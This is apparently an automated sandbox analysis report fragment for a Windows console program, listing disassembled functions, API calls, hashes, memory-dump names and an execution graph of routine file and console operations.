                                                                                                                                                                                                                                                                    • Opcode ID: 807f4bcacb8244ae956a44ff0e2951beb1980feb8653eaa56cd356b494b9b8dd
                                                                                                                                                                                                                                                                    • Instruction ID: 97a9c43b6630a8469eca272986bf8bb33ca70be581b5685182ace71a1691071d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 807f4bcacb8244ae956a44ff0e2951beb1980feb8653eaa56cd356b494b9b8dd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6B11E531744300A7C7149A15EC02FAA33A49B54754F14447EFD05AF382F6B9F961929E
                                                                                                                                                                                                                                                                    Function 0040FAD3 Relevance: 5.1, APIs: 4, Instructions: 58COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042CC1C,00000010), ref: 0040FAE9
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B2F8,00000010), ref: 0040FAFD
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B2D8,00000010), ref: 0040FB1B
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B318,00000010), ref: 0040FB39
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 1f5bff624c987fcc29876ec94ce21ea29fc5fb1993a8a51bdddbb335cf1e017d
                                                                                                                                                                                                                                                                    • Instruction ID: c493e5afcf0f2b62e571dc27e5cee313719ea97a9059885fb6874fa1ea1f5612
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1f5bff624c987fcc29876ec94ce21ea29fc5fb1993a8a51bdddbb335cf1e017d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1D11E131740304A7C7248A25EC02FAA73A89B94B54F54447AFD05EB2C2F6B8F9059AAC
                                                                                                                                                                                                                                                                    Function 004018DD Relevance: 5.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042CC1C,00000010), ref: 004018F3
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B288,00000010), ref: 0040190E
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B278,00000010), ref: 00401922
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 191a7b28de4ef0ee9888141471f4675ef3ebfbe320890a87343e8d5f853b2948
                                                                                                                                                                                                                                                                    • Instruction ID: 344697366c681ab1f0f1a33ee6f6af9cfaf3a5c44dbfa1594f397f27774d7e7e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 191a7b28de4ef0ee9888141471f4675ef3ebfbe320890a87343e8d5f853b2948
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 59010472340305ABC7105A21EC02FBA33A89B54754F50447EFD85BB392F2B8A551D2AC
                                                                                                                                                                                                                                                                    Function 0041327D Relevance: 5.0, APIs: 4, Instructions: 28sleepCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(?,?,?,?,004133D9,?,?,?,?,?,?,?,?,?,?,004121D0), ref: 0041328F
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,?,004133D9,?,?,?,?,?,?,?,?,?,?,004121D0,?), ref: 0041329D
                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?,?,004133D9,?,?,?,?,?,?,?,?,?,?,004121D0,?), ref: 004132A5
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,?,004133D9,?,?,?,?,?,?,?,?,?,?,004121D0,?), ref: 004132B8
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$Leave$EnterSleep
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4275215032-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2e947b979be4488679223019f4bb05689ab22b974430e6dcf8f0d0a95324fdd9
                                                                                                                                                                                                                                                                    • Instruction ID: 44e89afa6fc155fadb1da7de9e9eebe107680b61cd32ca67470a172798691ae2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2e947b979be4488679223019f4bb05689ab22b974430e6dcf8f0d0a95324fdd9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 98E065726003106BD3323BA49C4CBBBA774DB45752F5400EEE755961108378188693AD

                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                    Execution Coverage:7.9%
                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                    Signature Coverage:1.6%
                                                                                                                                                                                                                                                                    Total number of Nodes:2000
                                                                                                                                                                                                                                                                    Total number of Limit Nodes:35
                                                                                                                                                                                                                                                                    execution_graph 27526 c81069 27527 c812bb 27526->27527 27530 c79ec0 SetConsoleCtrlHandler 27527->27530 27529 c812c7 27530->27529 27531 c568e6 27534 c56363 27531->27534 27535 c5636d __EH_prolog 27534->27535 27548 c56415 27535->27548 27537 c563fb 27538 c56378 27538->27537 27539 c563b2 27538->27539 27540 c5639d CreateFileW 27538->27540 27539->27537 27551 c528a5 27539->27551 27540->27539 27545 c563f3 27559 c51a79 free 27545->27559 27546 c563de CreateFileW 27546->27545 27549 c5641f CloseHandle 27548->27549 27550 c5642a 27548->27550 27549->27550 27550->27538 27560 c51a52 malloc 27551->27560 27554 c575da 27563 c57609 27554->27563 27556 c563da 27556->27545 27556->27546 27559->27537 27561 c51a77 27560->27561 27562 c51a63 _CxxThrowException 27560->27562 27561->27554 27562->27561 27564 c57613 __EH_prolog 27563->27564 27565 c57704 27564->27565 27571 c5766a 27564->27571 27625 c575e5 27564->27625 27566 c577ac 27565->27566 27567 c57718 27565->27567 27568 c57913 27566->27568 27570 c577c4 27566->27570 27567->27570 27574 c57727 27567->27574 27679 c528e8 malloc _CxxThrowException 27568->27679 27573 c528a5 2 API calls 27570->27573 27571->27625 27656 c528e8 malloc _CxxThrowException 27571->27656 27572 c5791f 27680 c528e8 malloc _CxxThrowException 27572->27680 27576 c577cc 27573->27576 27664 c528e8 malloc _CxxThrowException 27574->27664 27669 c579e0 malloc _CxxThrowException free GetCurrentDirectoryW 27576->27669 27579 c5768e 27585 c576a0 27579->27585 27586 c576ad 27579->27586 27580 c577db 27643 c577df 27580->27643 27670 c57034 malloc _CxxThrowException free _CxxThrowException 27580->27670 27582 c57941 27681 c57a38 memmove 27582->27681 27657 c51a79 free 27585->27657 27658 c528e8 malloc _CxxThrowException 27586->27658 27588 c5794d 27593 c57967 27588->27593 27594 c57951 27588->27594 27590 c577ee 27617 c528a5 2 API calls 27590->27617 27590->27643 27592 c57730 27665 c528e8 malloc _CxxThrowException 27592->27665 27684 c52c69 malloc _CxxThrowException free _CxxThrowException 27593->27684 27682 c51a79 free 27594->27682 27595 c576be 27659 c57a38 memmove 27595->27659 27600 c57759 27666 c57a38 memmove 27600->27666 27601 c57959 27683 c51a79 free 27601->27683 27602 c57974 27609 c52c2d 4 API calls 27602->27609 27605 c576f4 27663 c51a79 free 27605->27663 27606 c57765 27607 c5779c 27606->27607 27667 c52c69 malloc _CxxThrowException free _CxxThrowException 27606->27667 27668 c51a79 free 27607->27668 27608 c576ca 27608->27605 27660 c52c2d 27608->27660 27614 c5798f 27609->27614 27619 c52c2d 4 API calls 27614->27619 27615 c576fc 27686 c51a79 free 27615->27686 27616 c57776 27626 c52c2d 4 API calls 27616->27626 27621 c57868 27617->27621 27623 c5799a 27619->27623 27627 c57897 27621->27627 27630 c5787a 27621->27630 27622 c52c2d 4 API calls 27622->27605 27685 c51a79 free 27623->27685 27625->27556 27650 c529e4 27625->27650 27629 c57791 27626->27629 27628 c529e4 3 API calls 27627->27628 27631 c57895 27628->27631 27632 c52c2d 4 API calls 27629->27632 27671 c52be1 malloc _CxxThrowException free _CxxThrowException 27630->27671 27673 c57a38 memmove 27631->27673 27632->27607 27635 c5788c 27672 c52be1 malloc _CxxThrowException free _CxxThrowException 27635->27672 27636 c578ab 27638 c578af 27636->27638 27639 c578c4 27636->27639 27674 c52c69 malloc _CxxThrowException free _CxxThrowException 27636->27674 27677 c51a79 free 27638->27677 27675 c579bd malloc _CxxThrowException 27639->27675 27678 c51a79 free 27643->27678 27644 c578d2 27645 c52c2d 4 API calls 27644->27645 27646 c578df 27645->27646 27676 c51a79 free 27646->27676 27648 c578eb 27649 c52c2d 4 API calls 27648->27649 27649->27638 27652 c529f6 27650->27652 27651 c52a1a 27651->27556 27652->27651 27653 c51a52 2 API calls 27652->27653 27654 c52a10 27653->27654 27692 c51a79 free 27654->27692 27656->27579 27657->27625 27658->27595 27659->27608 27687 c526e4 27660->27687 27663->27615 27664->27592 27665->27600 27666->27606 27667->27616 27668->27615 27669->27580 27670->27590 27671->27635 27672->27631 27673->27636 27674->27639 27675->27644 27676->27648 27677->27643 27678->27625 27679->27572 27680->27582 27681->27588 27682->27601 27683->27625 27684->27602 27685->27615 27686->27625 27688 c526f6 27687->27688 27689 c52709 27687->27689 27691 c525f5 malloc _CxxThrowException free _CxxThrowException ctype 27688->27691 27689->27622 27691->27689 27692->27651 27693 c7e324 27816 c8036e 27693->27816 27697 c7e343 27698 c7e36a GetStdHandle GetConsoleScreenBufferInfo 27697->27698 27699 c7e381 27697->27699 27698->27699 27700 c51a52 2 API calls 27699->27700 27701 c7e38e 27700->27701 27929 c7f89f 27701->27929 27703 c7e3a1 27933 c6bbf8 27703->27933 27707 c7e48b 27982 c72ce1 5 API calls 2 library calls 27707->27982 27709 c7e475 _CxxThrowException 27709->27707 27710 c7e4b5 27711 c7e4b9 _CxxThrowException 27710->27711 27728 c7e4cf 27710->27728 27711->27728 27712 c7e40a 27712->27707 27712->27709 27978 c5292b malloc _CxxThrowException 27712->27978 27714 c7e549 27723 c7e573 27714->27723 27986 c58703 5 API calls 2 library calls 27714->27986 27715 c7e44b 27717 c52c2d 4 API calls 27715->27717 27718 c7e45b 27717->27718 27979 c52978 27718->27979 27720 c7e56c 27987 c80723 _CxxThrowException 27720->27987 27721 c7e68c _CxxThrowException 27768 c7e63d 27721->27768 27988 c51c6a fputc 27723->27988 27725 c7e467 _CxxThrowException 27725->27709 27728->27714 27728->27721 27983 c6c1a3 6 API calls 2 library calls 27728->27983 27984 c80d7a malloc _CxxThrowException free memmove memcpy 27728->27984 27985 c51a79 free 27728->27985 27729 c7e59d fputs 27989 c51c6a fputc 27729->27989 27732 c7e601 27993 c51c6a fputc 27732->27993 27734 c80433 11 API calls 27734->27768 27736 c7e608 fputs 27737 c7e5ce fputc 27991 c51c7d 10 API calls 2 library calls 27737->27991 27741 c7e5b3 27741->27732 27990 c80406 fputc fputs fputs fputc 27741->27990 27992 c51c6a fputc 27741->27992 27742 c7e860 28005 c51c6a fputc 27742->28005 27743 c528a5 2 API calls 27743->27768 27747 c7e653 fputc 27747->27768 27748 c7e867 fputs 28006 c51c6a fputc 27748->28006 27753 c7e765 fputs 28002 c51eda fputs 27753->28002 27754 c7ea26 27757 c52c2d malloc _CxxThrowException free _CxxThrowException 27757->27768 27758 c7e79a fputs 27758->27768 27768->27734 27768->27742 27768->27743 27768->27753 27768->27757 27768->27758 27995 c80406 fputc fputs fputs fputc 27768->27995 27996 c52bb2 malloc _CxxThrowException free _CxxThrowException 27768->27996 27997 c52c69 malloc _CxxThrowException free _CxxThrowException 27768->27997 27998 c51089 27768->27998 28003 c51c6a fputc 27768->28003 28004 c51a79 free 27768->28004 27772 c7e87d 27781 c7e905 fputs 27772->27781 27807 c7e931 27772->27807 28007 c80406 fputc fputs fputs fputc 27772->28007 28008 c51eda fputs 27772->28008 28009 c80b08 fputc fputs 27772->28009 28010 c51c6a fputc 27781->28010 27807->27754 27811 c7e9fe fputs 27807->27811 28011 c80406 fputc fputs fputs fputc 27807->28011 28012 c6c42b VariantClear __EH_prolog 27807->28012 28013 c51eda fputs 27807->28013 28014 c6c48e VariantClear __EH_prolog 27807->28014 28015 c80b08 fputc fputs 27807->28015 28016 c6c4f7 4 API calls 2 library calls 27807->28016 28018 c51a79 free 27807->28018 27817 c80379 fputs 27816->27817 27818 c7e331 27816->27818 27817->27818 27819 c8038f fputs 27817->27819 27820 c5b99e 27818->27820 27819->27818 27821 c5b9d7 27820->27821 27822 c5b9ba 27820->27822 28050 c5c298 27821->28050 28099 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27822->28099 27826 c5b9c9 _CxxThrowException 27826->27821 27827 c5ba0e 27829 c5ba27 27827->27829 27831 c543ec 4 API calls 27827->27831 27832 c5ba6f wcscmp 27829->27832 27835 c5ba83 27829->27835 27830 c5ba00 _CxxThrowException 27830->27827 27831->27829 27833 c5ba8b 27832->27833 27832->27835 28101 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27833->28101 28055 c5d050 27835->28055 27836 c5ba9a _CxxThrowException 27836->27835 27839 c5d050 5 API calls 27840 c5bb1d 27839->27840 27841 c5bb4b 27840->27841 28102 c5c65c 66 API calls 2 library calls 27840->28102 27844 c5bb6f 27841->27844 28103 c5c65c 66 API calls 2 library calls 27841->28103 27845 c5bc5f 27844->27845 27847 c5bc25 27844->27847 28104 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27844->28104 28064 c5c34e 27845->28064 28105 c52a48 27847->28105 27851 c5bc17 _CxxThrowException 27851->27847 27853 c5bcb7 27855 c5bce0 27853->27855 27858 c52a48 3 API calls 27853->27858 27854 c52a48 3 API calls 27854->27853 28082 c543ec 27855->28082 27858->27855 27860 c5bc51 _CxxThrowException 27860->27845 27862 c5bcfd 27863 c5bd55 27862->27863 27864 c5bf7f 27862->27864 28112 c542e9 27863->28112 27867 c5bfb9 27864->27867 27877 c5c1a1 27864->27877 28132 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27864->28132 27866 c5c200 27868 c5c205 27866->27868 27869 c5c252 27866->27869 28133 c5ca88 10 API calls 2 library calls 27867->28133 27873 c542e9 14 API calls 27868->27873 27876 c5c25b _CxxThrowException 27869->27876 27888 c5bf06 27869->27888 27879 c5c212 27873->27879 27874 c5bfcc 28134 c5d13d malloc _CxxThrowException free memcpy __EH_prolog 27874->28134 27877->27866 27877->27888 28140 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27877->28140 27878 c5bfab _CxxThrowException 27878->27867 27881 c5429e 6 API calls 27879->27881 27882 c5c219 27881->27882 27884 c543ec 4 API calls 27882->27884 27884->27888 27885 c5bde1 27886 c5be09 27885->27886 28122 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27885->28122 27892 c5be2e 27886->27892 28123 c5c65c 66 API calls 2 library calls 27886->28123 27887 c5c1f2 _CxxThrowException 27887->27866 27888->27697 27889 c5c08d 27893 c5c150 27889->27893 27904 c5c0ef 27889->27904 28136 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27889->28136 27890 c5bfd8 27890->27889 27895 c52a48 3 API calls 27890->27895 27894 c5be50 27892->27894 28124 c5c65c 66 API calls 2 library calls 27892->28124 27900 c52a48 3 API calls 27893->27900 27902 c5c16e 27893->27902 27899 c5be67 27894->27899 28125 c5c30e malloc _CxxThrowException free memcpy 27894->28125 27906 c5c064 27895->27906 27896 c5bdfb _CxxThrowException 27896->27886 27905 c542e9 14 API calls 27899->27905 27900->27902 27902->27888 28139 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27902->28139 27904->27893 27908 c5c117 27904->27908 28137 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27904->28137 27909 c5be70 27905->27909 27906->27889 28135 c52f8b memmove 27906->28135 27907 c5c0e1 _CxxThrowException 27907->27904 27908->27893 28138 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27908->28138 28126 c686c2 27909->28126 27914 c5c193 _CxxThrowException 27914->27877 27915 c5c109 _CxxThrowException 27915->27908 27918 c5429e 6 API calls 27920 c5be7e 27918->27920 27919 c5c142 _CxxThrowException 27919->27893 27921 c52a48 3 API calls 27920->27921 27923 c5be96 27920->27923 27921->27923 27922 c5bedf 27922->27888 27925 c52a48 3 API calls 27922->27925 27923->27888 27923->27922 28130 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 27923->28130 27927 c5beff 27925->27927 27926 c5bed1 _CxxThrowException 27926->27922 28131 c57034 malloc _CxxThrowException free _CxxThrowException 27927->28131 27930 c7f8a9 __EH_prolog 27929->27930 27931 c528a5 2 API calls 27930->27931 27932 c7f8db 27931->27932 27932->27703 27934 c6bc02 __EH_prolog 27933->27934 28362 c6c910 27934->28362 27936 c6bd77 28367 c6beab 27936->28367 27943 c528a5 malloc _CxxThrowException 27950 c6bc15 27943->27950 27946 c6bdb6 27948 c6bdd2 27946->27948 27951 c529e4 3 API calls 27946->27951 27973 c6be8b 27946->27973 27952 c5286e 2 API calls 27948->27952 27949 c6be95 27977 c80723 _CxxThrowException 27949->27977 27950->27936 27950->27943 27954 c52b46 malloc _CxxThrowException free 27950->27954 27957 c51a79 free ctype 27950->27957 27970 c6bd33 memcpy 27950->27970 28464 c6b6d8 27950->28464 28467 c6afef 27950->28467 28484 c6b715 malloc _CxxThrowException free memcpy memcpy 27950->28484 28485 c5b047 malloc _CxxThrowException free memcpy 27950->28485 28486 c56fd8 malloc _CxxThrowException free ctype 27950->28486 28487 c6c8c9 5 API calls __EH_prolog 27950->28487 28488 c6b99e free __EH_prolog ctype 27950->28488 27951->27948 27953 c6bde2 27952->27953 28444 c6bb08 27953->28444 27954->27950 27957->27950 27970->27950 28490 c51a79 free 27973->28490 27977->27712 27978->27715 27980 c526ac 2 API calls 27979->27980 27981 c52988 27980->27981 27981->27725 27981->27981 27982->27710 27983->27728 27984->27728 27985->27728 27986->27720 27987->27723 27988->27729 27989->27741 27990->27737 27991->27741 27992->27741 27993->27736 27995->27747 27996->27768 27997->27768 27999 c51094 27998->27999 28000 c51099 27998->28000 28681 c526cf malloc _CxxThrowException free _CxxThrowException 27999->28681 28000->27768 28002->27768 28003->27768 28004->27768 28005->27748 28006->27772 28007->27772 28008->27772 28009->27772 28010->27772 28011->27807 28012->27807 28013->27807 28014->27807 28015->27807 28016->27807 28018->27807 28051 c52978 2 API calls 28050->28051 28052 c5c2ab 28051->28052 28141 c51a79 free 28052->28141 28054 c5b9e9 28054->27827 28100 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 28054->28100 28056 c5d05a __EH_prolog 28055->28056 28057 c52978 2 API calls 28056->28057 28060 c5bb07 28056->28060 28061 c5d088 28057->28061 28058 c5d0f7 28143 c51a79 free 28058->28143 28060->27839 28061->28058 28142 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 28061->28142 28063 c5d0e9 _CxxThrowException 28063->28058 28065 c5c358 __EH_prolog 28064->28065 28076 c5c3a4 28065->28076 28144 c5292b malloc _CxxThrowException 28065->28144 28067 c5c383 28145 c5c30e malloc _CxxThrowException free memcpy 28067->28145 28068 c5bc8b 28068->27853 28068->27854 28070 c5c464 28151 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 28070->28151 28072 c5c398 28146 c51a79 free 28072->28146 28073 c5c474 _CxxThrowException 28073->28068 28076->28068 28076->28070 28079 c5c43d 28076->28079 28147 c5c552 52 API calls 2 library calls 28076->28147 28148 c5c493 6 API calls __EH_prolog 28076->28148 28149 c5c30e malloc _CxxThrowException free memcpy 28076->28149 28079->28068 28150 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 28079->28150 28081 c5c456 _CxxThrowException 28081->28070 28083 c543f6 __EH_prolog 28082->28083 28084 c54402 28083->28084 28152 c6c7b3 28083->28152 28091 c5cf7e 28084->28091 28088 c51a52 2 API calls 28090 c5441c 28088->28090 28089 c52978 2 API calls 28089->28090 28090->28084 28090->28088 28090->28089 28092 c5cf88 __EH_prolog 28091->28092 28093 c528a5 malloc _CxxThrowException 28092->28093 28094 c52a48 3 API calls 28092->28094 28095 c529e4 3 API calls 28092->28095 28097 c51a79 free ctype 28092->28097 28098 c5d041 28092->28098 28157 c5d1e0 malloc _CxxThrowException free memcpy __EH_prolog 28092->28157 28093->28092 28094->28092 28095->28092 28097->28092 28098->27862 28099->27826 28100->27830 28101->27836 28102->27841 28103->27844 28104->27851 28106 c52a58 28105->28106 28108 c52a54 28105->28108 28107 c51a52 2 API calls 28106->28107 28106->28108 28109 c52a6c 28107->28109 28108->27845 28111 c688fe malloc _CxxThrowException free _CxxThrowException __EH_prolog 28108->28111 28158 c51a79 free 28109->28158 28111->27860 28113 c542f4 28112->28113 28114 c54318 28112->28114 28113->28114 28164 c53ed4 14 API calls 2 library calls 28113->28164 28159 c5474c 28114->28159 28118 c5429e 28120 c542ae 28118->28120 28119 c542e5 28119->27885 28120->28119 28167 c53d7d 6 API calls 2 library calls 28120->28167 28122->27896 28123->27892 28124->27894 28125->27899 28127 c5be77 28126->28127 28128 c686cd 28126->28128 28127->27918 28128->28127 28168 c686e3 28128->28168 28130->27926 28131->27888 28132->27878 28133->27874 28134->27890 28135->27889 28136->27907 28137->27915 28138->27919 28139->27914 28140->27887 28141->28054 28142->28063 28143->28060 28144->28067 28145->28072 28146->28076 28147->28076 28148->28076 28149->28076 28150->28081 28151->28073 28153 c5440e 28152->28153 28155 c6c7be 28152->28155 28156 c54810 malloc _CxxThrowException free memcpy ctype 28153->28156 28154 c51a79 free ctype 28154->28155 28155->28153 28155->28154 28156->28090 28157->28092 28158->28108 28160 c54320 28159->28160 28161 c54757 28159->28161 28160->28118 28161->28160 28165 c66941 free ctype 28161->28165 28166 c51a79 free 28161->28166 28164->28113 28165->28161 28166->28161 28167->28120 28169 c686ed __EH_prolog 28168->28169 28185 c688b7 28169->28185 28172 c688b7 36 API calls 28177 c6870c 28172->28177 28173 c68747 28174 c687c6 28173->28174 28182 c545a5 malloc _CxxThrowException free memcpy 28173->28182 28203 c51f90 CharUpperW 28173->28203 28204 c68990 free memmove ctype 28173->28204 28176 c6881b 28174->28176 28181 c686e3 38 API calls 28174->28181 28183 c51a79 free ctype 28174->28183 28205 c5284a 28174->28205 28208 c66cbd 28174->28208 28176->28128 28177->28173 28189 c6882a 28177->28189 28181->28174 28182->28173 28183->28174 28186 c68702 28185->28186 28187 c688c5 28185->28187 28186->28172 28187->28186 28188 c6882a 36 API calls 28187->28188 28188->28187 28190 c68834 __EH_prolog 28189->28190 28191 c528a5 2 API calls 28190->28191 28202 c688a7 28190->28202 28192 c6885e 28191->28192 28193 c5284a 2 API calls 28192->28193 28194 c6886d 28193->28194 28195 c68897 28194->28195 28211 c55c9c 28194->28211 28297 c51a79 free 28195->28297 28198 c6889f 28298 c51a79 free 28198->28298 28201 c52a48 3 API calls 28201->28195 28202->28177 28203->28173 28204->28173 28353 c527ee 28205->28353 28207 c52867 28207->28174 28359 c527a3 28208->28359 28212 c55ca6 __EH_prolog 28211->28212 28213 c55cc0 28212->28213 28215 c55d61 28212->28215 28214 c529e4 3 API calls 28213->28214 28218 c55cd3 28214->28218 28224 c55f21 28215->28224 28317 c528e8 malloc _CxxThrowException 28215->28317 28217 c55d8a 28318 c528e8 malloc _CxxThrowException 28217->28318 28219 c55d28 28218->28219 28221 c55ce9 28218->28221 28316 c56844 21 API calls 28219->28316 28315 c57d72 GetModuleHandleW GetProcAddress GetDiskFreeSpaceW 28221->28315 28223 c55fa0 28230 c55fbc 28223->28230 28246 c55fec 28223->28246 28290 c55fc1 28223->28290 28224->28223 28227 c55f55 28224->28227 28226 c55d39 28234 c56415 ctype CloseHandle 28226->28234 28332 c55c1f 28227->28332 28228 c55d14 28228->28219 28233 c55d18 28228->28233 28229 c55d9a 28240 c55dd8 28229->28240 28319 c52c69 malloc _CxxThrowException free _CxxThrowException 28229->28319 28235 c55c1f 8 API calls 28230->28235 28238 c55d5c 28233->28238 28234->28238 28235->28290 28238->28195 28238->28201 28239 c55f70 28245 c529e4 3 API calls 28239->28245 28241 c55e1d 28240->28241 28252 c55df8 28240->28252 28243 c55c9c 34 API calls 28241->28243 28242 c55849 FindClose 28242->28238 28244 c55e25 28243->28244 28247 c55f11 28244->28247 28248 c55e1b 28244->28248 28249 c55f87 28245->28249 28246->28290 28346 c528e8 malloc _CxxThrowException 28246->28346 28330 c51a79 free 28247->28330 28254 c52978 2 API calls 28248->28254 28249->28242 28252->28248 28256 c52a48 3 API calls 28252->28256 28253 c5601c 28257 c51089 4 API calls 28253->28257 28258 c55e4e 28254->28258 28255 c55f19 28331 c51a79 free 28255->28331 28256->28248 28260 c5602a 28257->28260 28261 c528a5 2 API calls 28258->28261 28262 c51089 4 API calls 28260->28262 28263 c55e5a 28261->28263 28264 c56034 28262->28264 28270 c55e9e SetLastError 28263->28270 28278 c55eaa 28263->28278 28289 c528a5 2 API calls 28263->28289 28292 c55ea6 28263->28292 28320 c55bbc 14 API calls 28263->28320 28321 c51f90 CharUpperW 28263->28321 28322 c51a79 free 28263->28322 28266 c55869 9 API calls 28264->28266 28267 c56044 28266->28267 28268 c56048 wcscmp 28267->28268 28269 c56067 28267->28269 28268->28269 28274 c56060 28268->28274 28272 c55c1f 8 API calls 28269->28272 28270->28292 28276 c56072 28272->28276 28279 c529e4 3 API calls 28274->28279 28275 c55ee8 28324 c51a79 free 28275->28324 28276->28274 28281 c56084 28276->28281 28287 c52c2d 4 API calls 28278->28287 28283 c560db 28279->28283 28280 c55ef0 28325 c55849 28280->28325 28347 c51a79 free 28281->28347 28348 c51a79 free 28283->28348 28287->28292 28289->28263 28290->28249 28299 c55869 28290->28299 28291 c560e3 28294 c55849 FindClose 28291->28294 28323 c51a79 free 28292->28323 28294->28238 28295 c55f02 28329 c51a79 free 28295->28329 28297->28198 28298->28202 28300 c55873 __EH_prolog 28299->28300 28301 c55849 FindClose 28300->28301 28303 c55881 28301->28303 28302 c558f7 28302->28249 28303->28302 28304 c5589c FindFirstFileW 28303->28304 28305 c558aa 28303->28305 28304->28305 28307 c528a5 2 API calls 28305->28307 28314 c558ef 28305->28314 28308 c558bb 28307->28308 28309 c575da 6 API calls 28308->28309 28310 c558d1 28309->28310 28311 c558d5 FindFirstFileW 28310->28311 28312 c558e3 28310->28312 28311->28312 28349 c51a79 free 28312->28349 28314->28302 28350 c5591a malloc _CxxThrowException free 28314->28350 28315->28228 28316->28226 28317->28217 28318->28229 28319->28240 28320->28263 28321->28263 28322->28263 28323->28275 28324->28280 28326 c55853 FindClose 28325->28326 28327 c5585e 28325->28327 28326->28327 28328 c51a79 free 